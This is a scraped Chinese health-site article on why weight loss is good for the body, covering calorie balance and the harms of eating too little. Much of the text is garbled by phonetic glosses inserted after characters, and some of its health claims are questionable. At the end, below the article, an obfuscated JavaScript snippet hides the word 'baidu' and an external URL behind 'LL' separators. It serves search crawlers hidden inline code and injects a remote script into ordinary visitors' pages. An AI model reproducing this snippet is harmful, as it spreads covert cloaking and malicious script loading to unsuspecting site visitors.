當(dāng)前位置:首頁 > 減肥 > 減肥方法 > 正文

減肥對人體有什么好處呢

2017-04-26 16:47:57  來源:360常識網(wǎng)   熱度:
導(dǎo)語:很多人張口閉口都是減肥,因?yàn)楝F(xiàn)在肥胖已經(jīng)融入了人們的生活了,現(xiàn)在的時代發(fā)展迅速,飲食方面有了很好的改善,所以說經(jīng)常有人控制不住自己

很多人張口閉口都是減肥,因?yàn)楝F(xiàn)在肥胖已經(jīng)融入了人們的生活了,現(xiàn)在的時代發(fā)展迅速,飲食方面有了很好的改善,所以說經(jīng)常有人控制不住自己的飲食,讓自己抱一抱是,吃得多就會長得胖,而肥胖的身體也會給人們帶來很多壞處,所以說減肥成為了熱門的口頭禪了,那么減肥對人體到底有哪些好處呢?

減肥屬于以減少人體過度的脂肪、體重為目的的行為方式。是指某類體重超標(biāo)的肥胖人 群用各種 方法 如:跳舞、瑜伽等,變回曲線體型。設(shè)法糾正肥胖者異常反 應(yīng)造成的不當(dāng)行為,即用行為科學(xué)分析肥胖者攝食行為的特征和運(yùn)動類型,以此為基礎(chǔ),合理修正導(dǎo)致肥胖的行動。

肥胖的根本原因是能 量攝入超過能量消耗。熱量來源于攝入食物中的供能物質(zhì):蛋白質(zhì) (4kcal/g),脂肪(9kcal/g),碳水化合物(4kcal/g),熱量消耗主要由三方面:基礎(chǔ)代謝,身體活動和食物熱效應(yīng)。減肥的中心 在于 使熱 量達(dá)到 負(fù)平衡(熱量攝入量小于熱量消耗量)。

基礎(chǔ)代謝的高低主要與人體的營養(yǎng)狀況和飲食習(xí)慣有關(guān),因此過午不食實(shí)質(zhì)上是一 種非常有害的減肥方法。身體活動量與運(yùn)動量并非一個概念,科學(xué)研究表 明,大強(qiáng)度運(yùn)動不利于減肥。食物熱效應(yīng)一般為2~3小時,這是很多的減肥專家所說,少食多餐有益減肥的理論依據(jù)。

所有減肥方法 均是直接或間接圍繞熱量為中心,有效指標(biāo)為減少熱量,健康指標(biāo)為保護(hù)基礎(chǔ)代謝 ,持續(xù)指標(biāo)為食欲控制中的飽腹感和滿足感。

不吃飯減肥害處多 現(xiàn)代女性常常為了保持苗條的體形,吃得越來越少,但你可知道,吃得多固然會增加脂肪帶來煩惱,但吃得太少也會造成很多困擾。美國一份研究報告稱,控制飽的激素同時也對生殖系統(tǒng)起著重要作用。當(dāng)吃得太少時,對女性的危害有很多種,不可忽視。 脫發(fā) 對身體過瘦的人來說,體內(nèi)脂肪和蛋白質(zhì)均供應(yīng)不足,因此頭發(fā)頻繁脫落,發(fā)色也逐漸失去光澤。如果過分節(jié)食,頭發(fā)則缺乏充足的營養(yǎng)補(bǔ)給,其中包括缺少鐵的攝入,便會枯黃無澤,最后導(dǎo)致大量脫發(fā)。 骨質(zhì)疏松 體瘦的女性髖骨骨折發(fā)生率比標(biāo)準(zhǔn)體重的女性高一倍以上,這是因?yàn)樯聿倪^瘦的人體內(nèi)雌性激素水準(zhǔn)不足,影響鈣與骨結(jié)合,無法維持正常的骨密度,因此容易出現(xiàn)骨質(zhì)疏松,發(fā)生骨折。

減肥對我們身體來說才是最好的,所以說如果自己的身體肥胖過度的話,那么就必須要及時的選擇方法來給自己瘦身,讓自己遠(yuǎn)離高血壓,高血脂,高血糖疾病,這些疾病很多都是由于身體肥胖的原因所造成的,而在減肥的時候要多運(yùn)動,吃健康蔬菜。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}